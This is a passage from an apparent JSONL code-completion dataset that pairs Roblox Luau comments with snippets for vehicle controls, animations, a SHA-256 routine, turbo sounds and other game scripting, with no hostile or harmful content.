IsFiniteVector3(vec3)\n\treturn IsFinite(vec3.x) and IsFinite(vec3.y) and IsFinite(vec3.z)\nend\n\nlocal movementUpdateEvent = Instance.new(\"BindableEvent\")\nmovementUpdateEvent.Name = \"MovementUpdate\"\nmovementUpdateEvent.Parent = script\n\ncoroutine.wrap(function()\n\tlocal PathDisplayModule = script.Parent:WaitForChild(\"PathDisplay\")\n\tif PathDisplayModule then\n\t\tPathDisplay = require(PathDisplayModule)\n\tend\nend)()\n\n"} +{"prompt": "--Disable script if car is removed from workspace", "completion": "\nCar.AncestryChanged:Connect(function()\n\tif not Car:IsDescendantOf(Workspace) then\n\t\tunbindActions()\n\t\t\n\t\tLocalVehicleSeating.ExitSeat()\n\t\tLocalVehicleSeating.DisconnectFromSeatExitEvent(onExitSeat)\n\t\t-- stop seated anim\n\t\tprint(\"car removed from workspace\")\n\t\t\n\t\tscript.Disabled = true\n\tend\nend)\n\nlocal function getInputValue(keyInfo, inputObj)\n\tfor _, keyCodeInfo in ipairs(keyInfo) do\n\t\tif inputObj.KeyCode == keyCodeInfo.KeyCode then\n\t\t\tif keyCodeInfo.Axis then\n\t\t\t\tlocal inputVector = inputObj.Position * keyCodeInfo.Axis\n\t\t\t\tlocal sign = math.sign(inputVector.X + inputVector.Y + inputVector.Z)\n\t\t\t\treturn inputVector.magnitude * sign\n\t\t\telse\n\t\t\t\treturn 1\n\t\t\tend\n\t\tend\n\tend\n\treturn 0\nend\n\nlocal function exitVehicle(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin then\n\t\tLocalVehicleSeating.ExitSeat()\n\t\t-- stop seated anim\n\tend\nend\n\nContextActionService:BindAction(\n\tEXIT_ACTION_NAME,\n\texitVehicle,\n\tfalse,\n\tKeymap.EnterVehicleGamepad,\n\tKeymap.EnterVehicleKeyboard\n)\n\nlocal function steerLeftAction(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Change then\n\t\tSteerLeftValue = getInputValue(Keymap.SteerLeft, inputObj)\n\telse\n\t\tSteerLeftValue = 0\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nContextActionService:BindActionAtPriority(\n\tSTEER_LEFT_ACTION_NAME,\n\tsteerLeftAction,\n\tfalse,\n\tEnum.ContextActionPriority.High.Value,\n\tunpack(Keymap.KeysForAction(\"SteerLeft\"))\n)\n\nlocal function steerRightAction(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Change then\n\t\tSteerRightValue = getInputValue(Keymap.SteerRight, inputObj)\n\telse\n\t\tSteerRightValue = 0\n\tend\n\treturn Enum.ContextActionResult.Pass\nend\n\nContextActionService:BindActionAtPriority(\n\tSTEER_RIGHT_ACTION_NAME,\n\tsteerRightAction,\n\tfalse,\n\tEnum.ContextActionPriority.High.Value,\n\tunpack(Keymap.KeysForAction(\"SteerRight\"))\n)\n\nlocal function throttleAction(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Change then\n\t\tThrottleValue = getInputValue(Keymap.Throttle, inputObj)\n\telse\n\t\tThrottleValue = 0\n\tend\nend\n\nContextActionService:BindAction(\n\tTHROTTLE_ACTION_NAME,\n\tthrottleAction,\n\tfalse,\n\tunpack(Keymap.KeysForAction(\"Throttle\"))\n)\n\nlocal function brakeAction(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Change then\n\t\tBrakeValue = getInputValue(Keymap.Brake, inputObj)\n\telse\n\t\tBrakeValue = 0\n\tend\nend\n\nContextActionService:BindAction(\n\tBRAKE_ACTION_NAME,\n\tbrakeAction,\n\tfalse,\n\tunpack(Keymap.KeysForAction(\"Brake\"))\n)\n\nlocal function handBrakeAction(action, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin then\n\t\tHandBrakeValue = 1\n\telse\n\t\tHandBrakeValue = 0\n\tend\nend\n\nContextActionService:BindAction(\n\tHAND_BRAKE_ACTION_NAME,\n\thandBrakeAction,\n\tfalse,\n\tunpack(Keymap.KeysForAction(\"Handbrake\"))\n)\n"} +{"prompt": "--// No-opt connect Server>Client RemoteEvents to ensure they cannot be called\n--// to fill the remote event queue.", "completion": "\nlocal function emptyFunction()\n\t--intentially empty\nend\n\nlocal function GetObjectWithNameAndType(parentObject, objectName, objectType)\n\tfor _, child in pairs(parentObject:GetChildren()) do\n\t\tif (child:IsA(objectType) and child.Name == objectName) then\n\t\t\treturn child\n\t\tend\n\tend\n\n\treturn nil\nend\n\nlocal function CreateIfDoesntExist(parentObject, objectName, objectType)\n\tlocal obj = GetObjectWithNameAndType(parentObject, objectName, objectType)\n\tif (not obj) then\n\t\tobj = Instance.new(objectType)\n\t\tobj.Name = objectName\n\t\tobj.Parent = parentObject\n\tend\n\tuseEvents[objectName] = obj\n\n\treturn obj\nend\n"} +{"prompt": "--SHA2 is big-endian", "completion": "\nlocal bytes2word = function(b0,b1,b2,b3)\n\tlocal i = b0; i = LSHIFT(i,8);\n\ti = OR(i,b1); i = LSHIFT(i,8);\n\ti = OR(i,b2); i = LSHIFT(i,8);\n\ti = OR(i,b3);\n\treturn i;\nend\n\nlocal word2bytes = function(word)\n\tlocal b0,b1,b2,b3;\n\tb3 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb2 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb1 = AND(word,0xFF); word = RSHIFT(word,8);\n\tb0 = AND(word,0xFF);\n\treturn b0,b1,b2,b3;\nend\n\nlocal bytes2dword = function(b0,b1,b2,b3,b4,b5,b6,b7)\n\tlocal i = bytes2word(b0,b1,b2,b3);\n\tlocal j = bytes2word(b4,b5,b6,b7);\n\treturn (i*0x100000000)+j;\nend\n\nlocal dword2bytes = function(i)\n\tlocal b4,b5,b6,b7 = word2bytes(i);\n\tlocal b0,b1,b2,b3 = word2bytes(Math.floor(i/0x100000000));\n\treturn b0,b1,b2,b3,b4,b5,b6,b7;\nend \n\n\n\n\nlocal SHA2_256 = function()\n\n\tlocal queue = Queue();\n\n\tlocal h0 = 0x6a09e667;\n\tlocal h1 = 0xbb67ae85;\n\tlocal h2 = 0x3c6ef372;\n\tlocal h3 = 0xa54ff53a;\n\tlocal h4 = 0x510e527f;\n\tlocal h5 = 0x9b05688c;\n\tlocal h6 = 0x1f83d9ab;\n\tlocal h7 = 0x5be0cd19;\n\n\tlocal public = {};\n\n\tlocal processBlock = function()\n\t\tlocal a = h0;\n\t\tlocal b = h1;\n\t\tlocal c = h2;\n\t\tlocal d = h3;\n\t\tlocal e = h4;\n\t\tlocal f = h5;\n\t\tlocal g = h6;\n\t\tlocal h = h7;\n\n\t\tlocal w = {};\n\n\t\tfor i=0,15 do\n\t\t\tw[i] = bytes2word(queue.pop(),queue.pop(),queue.pop(),queue.pop());\n\t\tend\n\n\t\tfor i=16,63 do\n\t\t\tlocal s0 = XOR(RROT(w[i-15],7), XOR(RROT(w[i-15],18), RSHIFT(w[i-15],3)));\n\t\t\tlocal s1 = XOR(RROT(w[i-2],17), XOR(RROT(w[i-2], 19), RSHIFT(w[i-2],10)));\n\t\t\tw[i] = AND(w[i-16] + s0 + w[i-7] + s1, 0xFFFFFFFF);\n\t\tend\n\n\t\tfor i=0,63 do\n\t\t\tlocal s1 = XOR(RROT(e,6), XOR(RROT(e,11),RROT(e,25)));\n\t\t\tlocal ch = XOR(AND(e,f), AND(NOT(e),g));\n\t\t\tlocal temp1 = h + s1 + ch + CONSTANTS[i+1] + w[i];\n\t\t\tlocal s0 = XOR(RROT(a,2), XOR(RROT(a,13), RROT(a,22)));\n\t\t\tlocal maj = XOR(AND(a,b), XOR(AND(a,c), AND(b,c)));\n\t\t\tlocal temp2 = s0 + maj;\n\n\t\t\th = g;\n\t\t\tg = f;\n\t\t\tf = e;\n\t\t\te = d + temp1;\n\t\t\td = c;\n\t\t\tc = b;\n\t\t\tb = a;\n\t\t\ta = temp1 + temp2;\n\t\tend\n\n\t\th0 = AND(h0 + a, 0xFFFFFFFF);\n\t\th1 = AND(h1 + b, 0xFFFFFFFF);\n\t\th2 = AND(h2 + c, 0xFFFFFFFF);\n\t\th3 = AND(h3 + d, 0xFFFFFFFF);\n\t\th4 = AND(h4 + e, 0xFFFFFFFF);\n\t\th5 = AND(h5 + f, 0xFFFFFFFF);\n\t\th6 = AND(h6 + g, 0xFFFFFFFF);\n\t\th7 = AND(h7 + h, 0xFFFFFFFF);\n\tend\n\n\tpublic.init = function()\n\t\tqueue.reset();\n\n\t\th0 = 0x6a09e667;\n\t\th1 = 0xbb67ae85;\n\t\th2 = 0x3c6ef372;\n\t\th3 = 0xa54ff53a;\n\t\th4 = 0x510e527f;\n\t\th5 = 0x9b05688c;\n\t\th6 = 0x1f83d9ab;\n\t\th7 = 0x5be0cd19;\n\n\t\treturn public;\n\tend\n\n\tpublic.update = function(bytes)\n\t\tfor b in bytes do\n\t\t\tqueue.push(b);\n\t\t\tif queue.size() >= 64 then processBlock(); end\n\t\tend\n\n\t\treturn public;\n\tend\n\n\tpublic.finish = function()\n\t\tlocal bits = queue.getHead() * 8;\n\n\t\tqueue.push(0x80);\n\t\twhile ((queue.size()+7) % 64) < 63 do\n\t\t\tqueue.push(0x00);\n\t\tend\n\n\t\tlocal b0,b1,b2,b3,b4,b5,b6,b7 = dword2bytes(bits);\n\n\t\tqueue.push(b0);\n\t\tqueue.push(b1);\n\t\tqueue.push(b2);\n\t\tqueue.push(b3);\n\t\tqueue.push(b4);\n\t\tqueue.push(b5);\n\t\tqueue.push(b6);\n\t\tqueue.push(b7);\n\n\t\twhile queue.size() > 0 do\n\t\t\tprocessBlock();\n\t\tend\n\n\t\treturn public;\n\tend\n\t\n\tpublic.asBytes = function()\n\t\tlocal b0, b1, b2, b3 = word2bytes(h0);\n\t\tlocal b4, b5, b6, b7 = word2bytes(h1);\n\t\tlocal b8, b9,b10,b11 = word2bytes(h2);\n\t\tlocal b12,b13,b14,b15 = word2bytes(h3);\n\t\tlocal b16,b17,b18,b19 = word2bytes(h4);\n\t\tlocal b20,b21,b22,b23 = word2bytes(h5);\n\t\tlocal b24,b25,b26,b27 = word2bytes(h6);\n\t\tlocal b28,b29,b30,b31 = word2bytes(h7);\n\n\n\t\treturn { b0, b1, b2, b3, b4, b5, b6, b7, b8, b9,b10,b11,b12,b13,b14,b15\n\t\t\t\t,b16,b17,b18,b19,b20,b21,b22,b23,b24,b25,b26,b27,b28,b29,b30,b31};\t\n\tend\n\n\tpublic.asHex = function()\n\t\tlocal b0, b1, b2, b3 = word2bytes(h0);\n\t\tlocal b4, b5, b6, b7 = word2bytes(h1);\n\t\tlocal b8, b9,b10,b11 = word2bytes(h2);\n\t\tlocal b12,b13,b14,b15 = word2bytes(h3);\n\t\tlocal b16,b17,b18,b19 = word2bytes(h4);\n\t\tlocal b20,b21,b22,b23 = word2bytes(h5);\n\t\tlocal b24,b25,b26,b27 = word2bytes(h6);\n\t\tlocal b28,b29,b30,b31 = word2bytes(h7);\n\n\t\tlocal fmt = \"%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x\"\t\t\n\n\t\treturn String.format(fmt, b0, b1, b2, b3, b4, b5, b6, b7, b8, b9,b10,b11,b12,b13,b14,b15\n\t\t\t\t,b16,b17,b18,b19,b20,b21,b22,b23,b24,b25,b26,b27,b28,b29,b30,b31);\n\tend\n\n\treturn public;\n\nend\n\nreturn SHA2_256;\n\n"} +{"prompt": "--script.Parent.Parent.Values.RPM.Changed:connect(function()", "completion": "\nfunction Spool()\n\t--When In Neutral\n\tif Values.Horsepower.Value == 0 then\n\t\ttotalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/8)-(((totalPSI/WasteGatePressure*(WasteGatePressure/15)))))*((36/TurboSize)*3))/WasteGatePressure)*15)\n\t\tif totalPSI < 0.05 then\n\t\t\ttotalPSI = 0.05\n\t\tend\n\t\tif totalPSI > 2 then\n\t\t\ttotalPSI = 2\n\t\tend\n\t\t--TEST\n\t\t\n\tend\n\t--When Driving\n\tif Values.Horsepower.Value > 0 then\n\t\ttotalPSI = totalPSI + ((((((Values.RPM.Value*(Values.Throttle.Value*1.2)/Redline)/8)-(((totalPSI/WasteGatePressure*(WasteGatePressure/15)))))*((36/TurboSize)*3))/WasteGatePressure)*15)\n\t\tif totalPSI < 0.05 then\n\t\t\ttotalPSI = 0.05\n\t\tend\n\t\tif totalPSI > 2 then\n\t\t\ttotalPSI = 2\n\t\tend\n\t\t--TEST\n\t\t\n\tend\n\n\t\n\t\n\tactualPSI = totalPSI/2\n\t\n\n\tif FE then\n\t\tlocal BP = totalPSI\n\t\t\n\t\thandler:FireServer(totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness,BOV_Pitch)\n\telse\n\t\tlocal Throttle2 = Throttle\n\t\tlocal W = car.DriveSeat:WaitForChild(\"Whistle\")\n\t\tlocal B = car.DriveSeat:WaitForChild(\"BOV\")\n\n\t\tlocal bvol = B.Volume\t\t\n\t\t\n\t\tif Throttle2 < 0 then\n\t\t\tThrottle2 = 0\n\t\tend\n\t\tW.Pitch = (totalPSI)\n\t\tW.Volume = (totalPSI/4)*TurboLoudness\n\t\tB.Pitch = (1 - (-totalPSI/20))*BOV_Pitch\n\t\tB.Volume = (((-0.5+((totalPSI/2)*BOV_Loudness)))*(1 - script.Parent.Parent.Values.Throttle.Value))\n\t\t\n\t\n\t\t\n\tend\n\tend"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\toldAnim = \"idle\"\n\t\tcurrentlyPlayingEmote = false\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\n\t-- clean up walk if there is one\n\tif (runAnimKeyframeHandler ~= nil) then\n\t\trunAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (runAnimTrack ~= nil) then\n\t\trunAnimTrack:Stop()\n\t\trunAnimTrack:Destroy()\n\t\trunAnimTrack = nil\n\tend\n\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tif not Humanoid.AutomaticScalingEnabled then\n\t\t\treturn 1\n\t\tend\n\n\t\tlocal scale = Humanoid.HipHeight / HumanoidHipHeight\n\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\tend\n\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\tscale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n\nlocal smallButNotZero = 0.0001\nfunction setRunSpeed(speed)\n\tlocal speedScaled = speed * 1.25\n\tlocal heightScale = getHeightScale()\n\tlocal runSpeed = speedScaled / heightScale\n\n\tif runSpeed ~= currentAnimSpeed then\n\t\tif runSpeed < 0.33 then\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0)\t\t\n\t\t\trunAnimTrack:AdjustWeight(smallButNotZero)\n\t\telseif runSpeed < 0.66 then\n\t\t\tlocal weight = ((runSpeed - 0.33) / 0.33)\n\t\t\tcurrentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(weight + smallButNotZero)\n\t\telse\n\t\t\tcurrentAnimTrack:AdjustWeight(smallButNotZero)\n\t\t\trunAnimTrack:AdjustWeight(1.0)\n\t\tend\n\t\tcurrentAnimSpeed = runSpeed\n\t\trunAnimTrack:AdjustSpeed(runSpeed)\n\t\tcurrentAnimTrack:AdjustSpeed(runSpeed)\n\tend\t\nend\n\nfunction setAnimationSpeed(speed)\n\tif currentAnim == \"walk\" then\n\t\tsetRunSpeed(speed)\n\telse\n\t\tif speed ~= currentAnimSpeed then\n\t\t\tcurrentAnimSpeed = speed\n\t\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\t\tend\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then\n\t\tif currentAnim == \"walk\" then\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\tif runAnimTrack.Looped ~= true then\n\t\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\t\tif currentAnimTrack.Looped ~= true then\n\t\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\trunAnimTrack.TimePosition = 0.0\n\t\t\t\tcurrentAnimTrack.TimePosition = 0.0\n\t\t\tend\n\t\telse\n\t\t\tlocal repeatAnim = currentAnim\n\t\t\t-- return to idle if finishing an emote\n\t\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\tend\n\n\t\t\tif FFlagAnimateScriptEmoteHook and currentlyPlayingEmote then\n\t\t\t\tif currentAnimTrack.Looped then\n\t\t\t\t\t-- Allow the emote to loop\n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\trepeatAnim = \"idle\"\n\t\t\t\tcurrentlyPlayingEmote = false\n\t\t\tend\n\n\t\t\tlocal animSpeed = currentAnimSpeed\n\t\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\t\tsetAnimationSpeed(animSpeed)\n\t\tend\n\tend\nend\n\nfunction rollAnimation(animName)\n\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\tlocal origRoll = roll\n\tlocal idx = 1\n\twhile (roll > animTable[animName][idx].weight) do\n\t\troll = roll - animTable[animName][idx].weight\n\t\tidx = idx + 1\n\tend\n\treturn idx\nend\n\nlocal function switchToAnim(anim, animName, transitionTime, humanoid)\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tif (runAnimTrack ~= nil) then\n\t\t\trunAnimTrack:Stop(transitionTime)\n\t\t\trunAnimTrack:Destroy()\n\t\t\tif userNoUpdateOnLoop == true then\n\t\t\t\trunAnimTrack = nil\n\t\t\tend\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\n\t\t-- check to see if we need to blend a walk/run animation\n\t\tif animName == \"walk\" then\n\t\t\tlocal runAnimName = \"run\"\n\t\t\tlocal runIdx = rollAnimation(runAnimName)\n\n\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n\t\t\trunAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t\trunAnimTrack:Play(transitionTime)\t\t\n\n\t\t\tif (runAnimKeyframeHandler ~= nil) then\n\t\t\t\trunAnimKeyframeHandler:disconnect()\n\t\t\tend\n\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n\t\tend\n\tend\nend\n\nfunction playAnimation(animName, transitionTime, humanoid) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\tswitchToAnim(anim, animName, transitionTime, humanoid)\n\tcurrentlyPlayingEmote = false\nend\n"} +{"prompt": "-- Initialize the tool", "completion": "\nlocal CollisionTool = {\n\n\tName = 'Collision Tool';\n\tColor = BrickColor.new 'Really black';\n\n};\n"} +{"prompt": "--Offset For Each New Ray For The Bullet's Trajectory", "completion": "\nlocal offset\t\t\t= (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-4.3,4.3)/3,100,math.random(-4.3,4.3)/3).p\n\t\t\t\t\t\t\t- parts.Parent.Gun.Muzzle.Position).unit\n\t\t\t\t\t\t\t*script.Parent.Stats.GunVelocity.Value\nlocal point1\t\t\t= parts.Parent.Gun.Muzzle.Position"} +{"prompt": "--Services", "completion": "\nlocal debrisService = game:GetService(\"Debris\")\nlocal runService = game:GetService(\"RunService\")\nlocal tweenService = game:GetService(\"TweenService\")\n"} +{"prompt": "--Set up returned table", "completion": "\nlocal Input = {}\n\tInput.Triggers = 0 --Triggers\n\tInput.LStickX = 0 --L/R on left stick\n\tInput.LStickY = 0\t--F/B on left stick\t\n\tInput.Forward = 0 --W/S or Up/Down\n\tInput.Strafe = 0 --A/D or Left/Right\n\tInput.Shift = 0 --LShift/LControl\n\t--Input.Flip = 0 --C key / Y button\n\t--TODO: Include inputs for Entering Car (E) and redress (C)\n\tInput.InputMode = \"Keyboard\"\n\tInput.TypeChanged = script.TypeChanged.Event --Allow the vehicle to know when the input changed\n\tInput.ActionFired = script.ActionFired.Event --Allow vehicle to know when special key is fired \n"} +{"prompt": "--[[\nWelds two parts.\n--]]", "completion": "\nlocal function WeldBetween(Part1,Part2)\n\tlocal Weld = Instance.new(\"Weld\")\n\tWeld.Part0 = Part1\n\tWeld.Part1 = Part2\n\tWeld.C0 = Part1.CFrame:inverse()\n\tWeld.C1 = Part2.CFrame:inverse()\n\tWeld.Parent = Part1\nend\n\n\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0.5)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, -0.5)\nwait(8)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--I advise to keep true if this tool has a \"FlyScript\" created after 20/7/2011 ( see child of this script)", "completion": "\nlocal Vert_keep = true-- set to false if U DONT want the tool to Go only Up if u press/hold the U/J key"} +{"prompt": "-- Variables", "completion": "\n\nif script.Parent.Damage.Value < 1 then\n\nlocal Vehicle = script.Parent\nprint(\"Vehicle Destroy Script Enabled\")\n\nlocal Engine = Vehicle.Parts.Engine\n\nVehicle:findFirstChild(\"Destroyed\").Value = true\n\n\t\t\t\n\t-- Seat Variables\n\tVehicle.Parts:findFirstChild(\"VehicleSeat\").Disabled = true\n\t\n\t-- End of Seat Variables\n\t"} +{"prompt": "-- LocalScript", "completion": "\n\nlocal numValue = Player.CoinBoost -- substitua \"NumValue\" pelo nome da sua NumberValue\nlocal textLabel = script.Parent -- substitua \"TextLabel\" pelo nome do seu TextLabel\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type Computed = StateObject & Dependent & {\n\t-- kind: \"Computed\" (add this when Luau supports singleton types)\n}\n"} +{"prompt": "--This script will go into the humanoid, and slowly make the Health go to 0.", "completion": "\n\nLength = 150\nLethality = 0.5\nWaitTime = 0\n"} +{"prompt": "--[[\n\t-- Original By Kip Turner, Copyright Roblox 2014\n\t-- Updated by Garnold to utilize the new PathfindingService API, 2017\n\t-- 2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n"} +{"prompt": "-- Set load indicator to true upon load completion", "completion": "\nIndicator.Value = true;\n"} +{"prompt": "--\n--", "completion": "\nMonster:Initialize()\nMonster:InitializeUnique()\n\ngame:GetService(\"RunService\").Heartbeat:Connect(function()\n\tif not Monster:IsAlive() then\n\t\tif Data.IsDead == false then\n\t\t\tData.IsDead = true\n\t\t\tData.TimeOfDeath = tick()\n\t\t\tSelf.Died:Fire()\n\t\tend\n\t\tif Data.IsDead == true then\n\t\t\tif tick()-Data.TimeOfDeath > Info.RespawnWaitTime then\n\t\t\t\tMonster:Respawn()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tif Monster:IsAlive() then\n\t\tMonster:Update()\n\tend\nend)\n"} +{"prompt": "-- Whopper whopper whopper whopper junior double triple whopper flame-grilled taste with perfect toppers i rule this day lettuce mayo pickle ketchup its okay if i dont want that impossible with bacon whopper my way", "completion": "\n\nwait(1);\nlocal u1 = game:GetService(\"Players\").LocalPlayer.Character.Humanoid:LoadAnimation((script:FindFirstChild(\"Animation\")));\nscript.Parent.Equipped:Connect(function()\n\tfor i = 1,10 do\n\t\tscript.Parent.Handle.SpotLight.Brightness = script.Parent.Handle.SpotLight.Brightness - 1\n\t\twait(2.5)\n\tend\nend)\nscript.Parent.Equipped:Connect(function()\n\tscript.Parent.Handle[\"Light Bulb Buzz 2 (SFX)\"].Playing = true\nend)\nscript.Parent.Unequipped:Connect(function()\n\tscript.Parent.Handle[\"Light Bulb Buzz 2 (SFX)\"].Playing = false\nend)\nscript.Parent.Activated:Connect(function()\n\tu1:play();\n\tscript.Parent.Handle.Sound:Play()\n\tscript.Parent.Handle.SpotLight.Brightness += 1\n\tif script.Parent.Handle.SpotLight.Brightness >= 10 then\n\t\tscript.Parent.Handle.SpotLight.Brightness = 10\n\tend\nend);\n"} +{"prompt": "--Setup animation here--", "completion": "\nsetup(animation.SL1,0.001)\nsetup(animation.SL2,0.001)\nsetup(animation.SL3,0.001)\nsetup(animation.SL4,0.001)\nsetup(animation.F1,0.001)\nsetup(animation.F2,0.001)\nsetup(animation.F3,0.001)\nsetup(animation.F4,0.001)\nsetup(animation.FF1,0.001)\nsetup(animation.FF2,0.001)\nsetup(animation.FF3,0.001)\nsetup(animation.FF4,0.001)\nsetup(animation.S1,0.01)\nsetup(animation.S2,0.01)\nsetup(animation.S3,0.01)\nsetup(animation.S4,0.01)\nsetup(animation.FLDoor,0.01)\nsetup(animation.FRDoor,0.01)\nsetup(animation.RLDoor,0.01)\nsetup(animation.RRDoor,0.01)\nsetup(animation.CDoor1,0.01)\nsetup(animation.CDoor2,0.01)\nsetup(animation.Engine1)\nsetup(animation.Engine2)\nsetup(animation.NGear,0.008)\nsetup(animation.LGear,0.005)\nsetup(animation.RGear,0.005)\nsetup(animation.NGDoorL,0.013)\nsetup(animation.NGDoorR,0.013)\nsetup(animation.LGDoor,0.005)\nsetup(animation.RGDoor,0.005)\nsetupInside(animation.F1.T,0.001)\nsetupInside(animation.F2.T,0.001)\nsetupInside(animation.F3.T,0.001)\nsetupInside(animation.F4.T,0.001)\nsetupInside(animation.LGDoor.Door)\nsetupInside(animation.LGDoor.Door.Door,0.005)\nsetupInside(animation.RGDoor.Door)\nsetupInside(animation.RGDoor.Door.Door,0.005)\nsetupInside(animation.LGear.Gear,0.005)\nsetupInside(animation.RGear.Gear,0.005)\nsetupInside(animation.LGear.Gear.Strut,0.025)\nsetupInside(animation.RGear.Gear.Strut,0.025)\nsetupInside(animation.NGear.Wheel)\nsetupInside(animation.LGear.Gear.Wheel)\nsetupInside(animation.RGear.Gear.Wheel)\nsetup(animation.RThrust)\nwait(2)\nanimation.NGDoorL.A.Motor.DesiredAngle = 1.35\nanimation.NGDoorR.A.Motor.DesiredAngle = 1.35\nanimation.LGDoor.A.Motor.DesiredAngle = 1.5\nanimation.RGDoor.A.Motor.DesiredAngle = 1.5\nanimation.LGDoor.Door.Door.A.Motor.DesiredAngle = 1\nanimation.RGDoor.Door.Door.A.Motor.DesiredAngle = 1\nanimation.Engine1.A.Motor.DesiredAngle = 100e100\nanimation.Engine2.A.Motor.DesiredAngle = 100e100\nanimation.NGear.Wheel.A.Motor.C1 = animation.NGear.Wheel.A.Motor.C1 * CFrame.new(0,-0.6,0)\nanimation.LGear.Gear.Wheel.A.Motor.C1 = animation.LGear.Gear.Wheel.A.Motor.C1 * CFrame.new(0,-0.6,0)\nanimation.RGear.Gear.Wheel.A.Motor.C1 = animation.RGear.Gear.Wheel.A.Motor.C1 * CFrame.new(0,-0.6,0)\nanimation.LGDoor.Door.A.Motor.C1 = animation.LGDoor.Door.A.Motor.C1 * CFrame.new(-1.45,0,0)\nanimation.RGDoor.Door.A.Motor.C1 = animation.RGDoor.Door.A.Motor.C1 * CFrame.new(-1.45,0,0)\nscript.Parent.Weld.Disabled = false\nunAnchor(script.Parent.AnimationParts)\n"} +{"prompt": "--///////////////// Internal-Use Methods\n--//////////////////////////////////////", "completion": "\nfunction methods:InternalDestroy()\n\tfor i, channel in pairs(self.Channels) do\n\t\tchannel:InternalRemoveSpeaker(self)\n\tend\n\n\tself.eDestroyed:Fire()\n\n\tself.EventFolder = 